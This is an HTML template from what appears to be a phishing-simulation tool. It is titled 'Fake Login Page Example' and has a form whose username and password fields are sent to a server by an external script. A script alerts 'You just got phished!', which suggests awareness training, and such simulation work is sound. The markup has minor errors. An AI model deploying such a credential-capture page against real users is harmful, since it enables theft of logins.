-
Notifications
You must be signed in to change notification settings - Fork 1
/
empty.html
48 lines (48 loc) · 1.25 KB
/
empty.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<!DOCTYPE html>
<!--
This is an example template to show you how you can create your
own templates
-->
<html lang="en">
<head>
<title></title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<!--
place the elements here
-->
<h1>Fake Login Page Example</h1>
<!--
when an form with the ID "PF_form" is submitted, "PF_user" and "PF_pass" gets sent to the server (see static/script.js)
-->
<form id="PF_form">
<input type="text" placeholder="Username" id="PF_user" required>
<input type="password" placeholder="Password" id="PF_pass" required>
<button type="submit">Login</button>
</form>
<!--
these are the scripts that are used to communicate with the server, if you are
not sure what you are doing, just leave them here
-->
<script>
const session = "{{.session}}"
const report = "{{.report}}"
</script>
<script type="module" src="{{.static}}/script.js">
<script>
// place your js code here (or link it)
const submit = document.getElementById("submit")
submit.addEventListener("click", ()=>{
alert("You just got phished!")
})
</script>
</body>
<style>
/* styling */
h1{
color: red;
}
</style>
</html>